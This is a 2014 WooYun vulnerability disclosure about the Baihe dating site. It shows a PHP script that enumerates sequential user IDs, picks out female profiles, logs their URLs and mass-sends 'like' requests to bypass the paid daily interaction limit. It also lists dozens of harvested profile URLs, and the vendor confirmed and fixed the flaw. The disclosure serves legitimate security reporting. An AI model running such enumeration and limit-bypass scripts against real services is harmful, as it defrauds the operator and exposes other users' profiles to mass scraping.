当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-068061

漏洞标题：看我是如何批量刷百合网的妹子（已成功突破次数限制）

相关厂商：百合网

漏洞作者： hkAssassin

提交时间：2014-07-10 16:46

修复时间：2014-07-11 14:47

公开时间：2014-07-11 14:47

漏洞类型：未授权访问/权限绕过

危害等级：中

自评Rank：10

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-10： 细节已通知厂商并且等待厂商处理中
2014-07-10： 厂商已经确认，细节仅向厂商公开
2014-07-11： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

到了某个年纪你就会知道，一个人的日子真的难熬，渐渐开始尝到孤单的味道，时间在敲打着你的骄傲，过了某个路口你就会感到，彻夜陪你聊天的越来越少，厌倦了被寂寞追着跑，找个爱你的人就想托付终老……
事情就是从这首歌开始的。某天刚下班我依旧像往常一样在工作室体会着这歌。突然来了400的电话。电话中一个妹子说她是百合网线上的服务客服。说百合网新开了一个相亲平台可以免费体验。于是，我想我这种屌丝去看看也无妨。然后就去了，去了之后发现，丫丫个呸的，每天只能和3个女孩***。付费之后可以增长到20个。顿时我就不爽了。3个怎么够，20个也不够啊！不行，老师从小教我们不能轻易放弃。好吧！让本屌来试试，于是开启电脑，操起家伙……就这样开始了。

详细说明：

测试条件：你得有一个百合网的账号：下面我用自己的账号做个测试说明


登陆百合网点击上面的相亲

1.jpg


登陆进去之后的界面如下。默认没有付费的每天只可以和3个女孩互动，付费后上线为20个

2.jpg


3个或者20个那肯定不够么。我要和百合网相亲平台所有的妹子互动咋办。图2中妹子照片旁边有他的资料，点击进去之后到下面的图，注意看url和图的界面。这个页面中也可以和妹子互动，url中暴漏了妹子对应的id。于是我是这么想的……

3.jpg


通过爬虫遍历这个url。然后解析爬虫爬回来的页面挑选出链接中女孩的链接。同时发送互动操作的请求（喜欢，考虑下，不喜欢）。当然，也可以对爬回来的页面做更详细的解析，挑出复合你年龄范围的女孩子然后直接批量发送喜欢操作。然后你就睡觉等着妹子也喜欢你就可以了。具体的代码如下：


<?php
		  header("content-type:text/html;charset=utf-8");
id();   //爬虫开始
function id(){
	   for($i=1;$i<1000;$i++){
	     send($i);
		 if($i==410){
		 exit;
		 }
	   }
	   }
function send($id){		  
		   $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
			if(!$fp){
			 echo "$errstr ($errno)<br />\n";
			}else{	
			//$header = "GET /person?userId=108  HTTP/1.1\r\n";
			$header = "GET /person?userId=".$id."  HTTP/1.1\r\n";
		   $header.="Accept: text/html, application/xhtml+xml, */*\r\n";
		   $header.="Accept-Language: zh-CN \r\n";
		   $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n";
			$header .= "Host:xq.ibaihe.com \r\n";
            $header .= "DNT: 1 \r\n";
            $header .= "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=******（这里为你自己的登陆cookie） \r\n";
            $header .= "Connection: Close\r\n\r\n";
            fwrite($fp,$header);
           $status = stream_get_meta_data($fp);
     if(!$status['timed_out']) {     
                 while (!feof($fp)) {  
                     if(($header = @fgets($fp)) && ($header == "\r\n" ||  $header == "\n")) {     
                         break;     
                     }     
                 }             
                 $stop = false;     
                 while(!feof($fp) && !$stop) {     
                     $data = fread($fp,8192);      //8192为可返回字节数
                     $return .= $data;   
                 }     
             }  
$str1='女士';
$str2='她';
$po1=stripos($return,$str1);
$po2=stripos($return,$str2);
if($po1!=false|| $po2!=false){
	$url="http://xq.ibaihe.com/person?userId=".$id."\r\n";
	$fopen=fopen("bh.txt","a");
	fwrite($fopen,$url);
	sendLike($id);
}
 } 
		   fclose($fp);
		  
		  }   //send end
           
          
function sendLike($id){		  
		   $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
			if(!$fp){
			 echo "$errstr ($errno)<br />\n";
			}else{	
			//$header = "GET /person?userId=108  HTTP/1.1\r\n";
			$header = "POST /enjoy/  HTTP/1.1\r\n";
		   $header.="Accept: application/json, text/javascript, */*; q=0.01 \r\n";
		   $header.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8 \r\n";
		   $header.="X-Requested-With: XMLHttpRequest \r\n";
		   $header.="Referer: http://xq.ibaihe.com/person?userId=".$id." \r\n";
		   $header.="Accept-Language: zh-CN \r\n";
		   $header.="Accept-Encoding: gzip, deflate \r\n";
		   $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n";
			$header .= "Host:xq.ibaihe.com \r\n";
			$header .="Content-Length: 19 \r\n";
            $header .= "DNT: 1 \r\n";
			$hrader .="Proxy-Connection: Keep-Alive \r\n";
			$header.="Pragma: no-cache \r\n";
            $header .= "Cookie: Hm_lpvt_887bcaca63*******4b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=*********(这里写你自己的登陆cookie)\r\n\r\n";
			$header .="type=like&oppId=".$id;
            $header .= "Connection: Close\r\n\r\n";
            fwrite($fp,$header);
           while(!feof($fp)){
		    $res_str.=fgets($fp,512);
		   }
		   fclose($fp);
		   var_dump($res_str);
		  }  
}   //sendLike end


运行上面的代码之后会在当前目录下爬回如下的妹子链接：
http://xq.ibaihe.com/person?userId=1
http://xq.ibaihe.com/person?userId=30
http://xq.ibaihe.com/person?userId=33
http://xq.ibaihe.com/person?userId=34
http://xq.ibaihe.com/person?userId=36
http://xq.ibaihe.com/person?userId=37
http://xq.ibaihe.com/person?userId=38
http://xq.ibaihe.com/person?userId=40
http://xq.ibaihe.com/person?userId=42
http://xq.ibaihe.com/person?userId=46
http://xq.ibaihe.com/person?userId=50
http://xq.ibaihe.com/person?userId=51
http://xq.ibaihe.com/person?userId=53
http://xq.ibaihe.com/person?userId=54
http://xq.ibaihe.com/person?userId=55
http://xq.ibaihe.com/person?userId=56
http://xq.ibaihe.com/person?userId=59
http://xq.ibaihe.com/person?userId=60
http://xq.ibaihe.com/person?userId=63
http://xq.ibaihe.com/person?userId=67
http://xq.ibaihe.com/person?userId=69
http://xq.ibaihe.com/person?userId=77
http://xq.ibaihe.com/person?userId=78
http://xq.ibaihe.com/person?userId=79
http://xq.ibaihe.com/person?userId=82
http://xq.ibaihe.com/person?userId=83
http://xq.ibaihe.com/person?userId=84
http://xq.ibaihe.com/person?userId=85
http://xq.ibaihe.com/person?userId=86
http://xq.ibaihe.com/person?userId=87
http://xq.ibaihe.com/person?userId=89
http://xq.ibaihe.com/person?userId=90
http://xq.ibaihe.com/person?userId=91
http://xq.ibaihe.com/person?userId=94
http://xq.ibaihe.com/person?userId=95
http://xq.ibaihe.com/person?userId=96
http://xq.ibaihe.com/person?userId=97
http://xq.ibaihe.com/person?userId=100
http://xq.ibaihe.com/person?userId=102
http://xq.ibaihe.com/person?userId=103
http://xq.ibaihe.com/person?userId=104
http://xq.ibaihe.com/person?userId=105
http://xq.ibaihe.com/person?userId=106
http://xq.ibaihe.com/person?userId=107
http://xq.ibaihe.com/person?userId=108
http://xq.ibaihe.com/person?userId=109
http://xq.ibaihe.com/person?userId=111
http://xq.ibaihe.com/person?userId=112
http://xq.ibaihe.com/person?userId=114
http://xq.ibaihe.com/person?userId=115
http://xq.ibaihe.com/person?userId=116
http://xq.ibaihe.com/person?userId=117
http://xq.ibaihe.com/person?userId=120
http://xq.ibaihe.com/person?userId=121
http://xq.ibaihe.com/person?userId=123
http://xq.ibaihe.com/person?userId=127
http://xq.ibaihe.com/person?userId=128
http://xq.ibaihe.com/person?userId=132
http://xq.ibaihe.com/person?userId=135
http://xq.ibaihe.com/person?userId=138
http://xq.ibaihe.com/person?userId=143
http://xq.ibaihe.com/person?userId=145
http://xq.ibaihe.com/person?userId=147
http://xq.ibaihe.com/person?userId=151
http://xq.ibaihe.com/person?userId=157
http://xq.ibaihe.com/person?userId=158
http://xq.ibaihe.com/person?userId=160
http://xq.ibaihe.com/person?userId=162
http://xq.ibaihe.com/person?userId=163
http://xq.ibaihe.com/person?userId=166
http://xq.ibaihe.com/person?userId=168
http://xq.ibaihe.com/person?userId=170
http://xq.ibaihe.com/person?userId=171
http://xq.ibaihe.com/person?userId=172
http://xq.ibaihe.com/person?userId=173
http://xq.ibaihe.com/person?userId=174
http://xq.ibaihe.com/person?userId=178
http://xq.ibaihe.com/person?userId=179
http://xq.ibaihe.com/person?userId=180
http://xq.ibaihe.com/person?userId=183
http://xq.ibaihe.com/person?userId=184
http://xq.ibaihe.com/person?userId=187
http://xq.ibaihe.com/person?userId=188
http://xq.ibaihe.com/person?userId=189
http://xq.ibaihe.com/person?userId=190
http://xq.ibaihe.com/person?userId=191
http://xq.ibaihe.com/person?userId=192
http://xq.ibaihe.com/person?userId=193
http://xq.ibaihe.com/person?userId=194
http://xq.ibaihe.com/person?userId=195
http://xq.ibaihe.com/person?userId=197
http://xq.ibaihe.com/person?userId=198
http://xq.ibaihe.com/person?userId=199
http://xq.ibaihe.com/person?userId=200
http://xq.ibaihe.com/person?userId=203
http://xq.ibaihe.com/person?userId=204
http://xq.ibaihe.com/person?userId=205
http://xq.ibaihe.com/person?userId=207
http://xq.ibaihe.com/person?userId=208
http://xq.ibaihe.com/person?userId=209
http://xq.ibaihe.com/person?userId=210
http://xq.ibaihe.com/person?userId=211
http://xq.ibaihe.com/person?userId=213
http://xq.ibaihe.com/person?userId=214
http://xq.ibaihe.com/person?userId=218
………………
http://xq.ibaihe.com/person?userId=406
http://xq.ibaihe.com/person?userId=409
最后这两个url对应的就是下面图中打码的妹子。就是直接爬回链接然后直接发送喜欢操作的两个妹子。
如果你不想对所有的妹子做互动操作，那么你可以吧爬回来的链接一个一个复制到浏览器，挑你喜欢的妹子在点击喜欢即可！


e.jpg


上面这个图证明了我确实和很多妹子做了互动。没有受次数限制。

漏洞证明：

测试条件：你得有一个百合网的账号：下面我用自己的账号做个测试说明


登陆百合网点击上面的相亲

1.jpg


登陆进去之后的界面如下。默认没有付费的每天只可以和3个女孩互动，付费后上线为20个

2.jpg


3个或者20个那肯定不够么。我要和百合网相亲平台所有的妹子互动咋办。图2中妹子照片旁边有他的资料，点击进去之后到下面的图，注意看url和图的界面。这个页面中也可以和妹子互动，url中暴漏了妹子对应的id。于是我是这么想的……

3.jpg


通过爬虫遍历这个url。然后解析爬虫爬回来的页面挑选出链接中女孩的链接。同时发送互动操作的请求（喜欢，考虑下，不喜欢）。当然，也可以对爬回来的页面做更详细的解析，挑出复合你年龄范围的女孩子然后直接批量发送喜欢操作。然后你就睡觉等着妹子也喜欢你就可以了。具体的代码如下：


<?php
		  header("content-type:text/html;charset=utf-8");
id();   //爬虫开始
function id(){
	   for($i=1;$i<1000;$i++){
	     send($i);
		 if($i==410){
		 exit;
		 }
	   }
	   }
function send($id){		  
		   $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
			if(!$fp){
			 echo "$errstr ($errno)<br />\n";
			}else{	
			//$header = "GET /person?userId=108  HTTP/1.1\r\n";
			$header = "GET /person?userId=".$id."  HTTP/1.1\r\n";
		   $header.="Accept: text/html, application/xhtml+xml, */*\r\n";
		   $header.="Accept-Language: zh-CN \r\n";
		   $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n";
			$header .= "Host:xq.ibaihe.com \r\n";
            $header .= "DNT: 1 \r\n";
            $header .= "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=******（这里为你自己的登陆cookie） \r\n";
            $header .= "Connection: Close\r\n\r\n";
            fwrite($fp,$header);
           $status = stream_get_meta_data($fp);
     if(!$status['timed_out']) {     
                 while (!feof($fp)) {  
                     if(($header = @fgets($fp)) && ($header == "\r\n" ||  $header == "\n")) {     
                         break;     
                     }     
                 }             
                 $stop = false;     
                 while(!feof($fp) && !$stop) {     
                     $data = fread($fp,8192);      //8192为可返回字节数
                     $return .= $data;   
                 }     
             }  
$str1='女士';
$str2='她';
$po1=stripos($return,$str1);
$po2=stripos($return,$str2);
if($po1!=false|| $po2!=false){
	$url="http://xq.ibaihe.com/person?userId=".$id."\r\n";
	$fopen=fopen("bh.txt","a");
	fwrite($fopen,$url);
	sendLike($id);
}
 } 
		   fclose($fp);
		  
		  }   //send end
           
          
function sendLike($id){		  
		   $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
			if(!$fp){
			 echo "$errstr ($errno)<br />\n";
			}else{	
			//$header = "GET /person?userId=108  HTTP/1.1\r\n";
			$header = "POST /enjoy/  HTTP/1.1\r\n";
		   $header.="Accept: application/json, text/javascript, */*; q=0.01 \r\n";
		   $header.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8 \r\n";
		   $header.="X-Requested-With: XMLHttpRequest \r\n";
		   $header.="Referer: http://xq.ibaihe.com/person?userId=".$id." \r\n";
		   $header.="Accept-Language: zh-CN \r\n";
		   $header.="Accept-Encoding: gzip, deflate \r\n";
		   $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko \r\n";
			$header .= "Host:xq.ibaihe.com \r\n";
			$header .="Content-Length: 19 \r\n";
            $header .= "DNT: 1 \r\n";
			$hrader .="Proxy-Connection: Keep-Alive \r\n";
			$header.="Pragma: no-cache \r\n";
            $header .= "Cookie: Hm_lpvt_887bcaca63*******4b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=*********(这里写你自己的登陆cookie)\r\n\r\n";
			$header .="type=like&oppId=".$id;
            $header .= "Connection: Close\r\n\r\n";
            fwrite($fp,$header);
           while(!feof($fp)){
		    $res_str.=fgets($fp,512);
		   }
		   fclose($fp);
		   var_dump($res_str);
		  }  
}   //sendLike end


运行上面的代码之后会在当前目录下爬回如下的妹子链接：
http://xq.ibaihe.com/person?userId=1
http://xq.ibaihe.com/person?userId=30
http://xq.ibaihe.com/person?userId=33
http://xq.ibaihe.com/person?userId=34
http://xq.ibaihe.com/person?userId=36
http://xq.ibaihe.com/person?userId=37
http://xq.ibaihe.com/person?userId=38
http://xq.ibaihe.com/person?userId=40
http://xq.ibaihe.com/person?userId=42
http://xq.ibaihe.com/person?userId=46
http://xq.ibaihe.com/person?userId=50
http://xq.ibaihe.com/person?userId=51
http://xq.ibaihe.com/person?userId=53
http://xq.ibaihe.com/person?userId=54
http://xq.ibaihe.com/person?userId=55
http://xq.ibaihe.com/person?userId=56
http://xq.ibaihe.com/person?userId=59
http://xq.ibaihe.com/person?userId=60
http://xq.ibaihe.com/person?userId=63
http://xq.ibaihe.com/person?userId=67
http://xq.ibaihe.com/person?userId=69
http://xq.ibaihe.com/person?userId=77
http://xq.ibaihe.com/person?userId=78
http://xq.ibaihe.com/person?userId=79
http://xq.ibaihe.com/person?userId=82
http://xq.ibaihe.com/person?userId=83
http://xq.ibaihe.com/person?userId=84
http://xq.ibaihe.com/person?userId=85
http://xq.ibaihe.com/person?userId=86
http://xq.ibaihe.com/person?userId=87
http://xq.ibaihe.com/person?userId=89
http://xq.ibaihe.com/person?userId=90
http://xq.ibaihe.com/person?userId=91
http://xq.ibaihe.com/person?userId=94
http://xq.ibaihe.com/person?userId=95
http://xq.ibaihe.com/person?userId=96
http://xq.ibaihe.com/person?userId=97
http://xq.ibaihe.com/person?userId=100
http://xq.ibaihe.com/person?userId=102
http://xq.ibaihe.com/person?userId=103
http://xq.ibaihe.com/person?userId=104
http://xq.ibaihe.com/person?userId=105
http://xq.ibaihe.com/person?userId=106
http://xq.ibaihe.com/person?userId=107
http://xq.ibaihe.com/person?userId=108
http://xq.ibaihe.com/person?userId=109
http://xq.ibaihe.com/person?userId=111
http://xq.ibaihe.com/person?userId=112
http://xq.ibaihe.com/person?userId=114
http://xq.ibaihe.com/person?userId=115
http://xq.ibaihe.com/person?userId=116
http://xq.ibaihe.com/person?userId=117
http://xq.ibaihe.com/person?userId=120
http://xq.ibaihe.com/person?userId=121
http://xq.ibaihe.com/person?userId=123
http://xq.ibaihe.com/person?userId=127
http://xq.ibaihe.com/person?userId=128
http://xq.ibaihe.com/person?userId=132
http://xq.ibaihe.com/person?userId=135
http://xq.ibaihe.com/person?userId=138
http://xq.ibaihe.com/person?userId=143
http://xq.ibaihe.com/person?userId=145
http://xq.ibaihe.com/person?userId=147
http://xq.ibaihe.com/person?userId=151
http://xq.ibaihe.com/person?userId=157
http://xq.ibaihe.com/person?userId=158
http://xq.ibaihe.com/person?userId=160
http://xq.ibaihe.com/person?userId=162
http://xq.ibaihe.com/person?userId=163
http://xq.ibaihe.com/person?userId=166
http://xq.ibaihe.com/person?userId=168
http://xq.ibaihe.com/person?userId=170
http://xq.ibaihe.com/person?userId=171
http://xq.ibaihe.com/person?userId=172
http://xq.ibaihe.com/person?userId=173
http://xq.ibaihe.com/person?userId=174
http://xq.ibaihe.com/person?userId=178
http://xq.ibaihe.com/person?userId=179
http://xq.ibaihe.com/person?userId=180
http://xq.ibaihe.com/person?userId=183
http://xq.ibaihe.com/person?userId=184
http://xq.ibaihe.com/person?userId=187
http://xq.ibaihe.com/person?userId=188
http://xq.ibaihe.com/person?userId=189
http://xq.ibaihe.com/person?userId=190
http://xq.ibaihe.com/person?userId=191
http://xq.ibaihe.com/person?userId=192
http://xq.ibaihe.com/person?userId=193
http://xq.ibaihe.com/person?userId=194
http://xq.ibaihe.com/person?userId=195
http://xq.ibaihe.com/person?userId=197
http://xq.ibaihe.com/person?userId=198
http://xq.ibaihe.com/person?userId=199
http://xq.ibaihe.com/person?userId=200
http://xq.ibaihe.com/person?userId=203
http://xq.ibaihe.com/person?userId=204
http://xq.ibaihe.com/person?userId=205
http://xq.ibaihe.com/person?userId=207
http://xq.ibaihe.com/person?userId=208
http://xq.ibaihe.com/person?userId=209
http://xq.ibaihe.com/person?userId=210
http://xq.ibaihe.com/person?userId=211
http://xq.ibaihe.com/person?userId=213
http://xq.ibaihe.com/person?userId=214
http://xq.ibaihe.com/person?userId=218
………………
http://xq.ibaihe.com/person?userId=406
http://xq.ibaihe.com/person?userId=409
最后这两个url对应的就是下面图中打码的妹子。就是直接爬回链接然后直接发送喜欢操作的两个妹子。
如果你不想对所有的妹子做互动操作，那么你可以吧爬回来的链接一个一个复制到浏览器，挑你喜欢的妹子在点击喜欢即可！


e.jpg


上面这个图证明了我确实和很多妹子做了互动。没有受次数限制。

修复方案：

你们懂！
ps:求结束单身的屌丝生活。求免费介绍更多妹子。

版权声明：转载请注明来源 hkAssassin@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-07-10 17:39

厂商回复：

确认漏洞

最新状态：

2014-07-11：漏洞已修复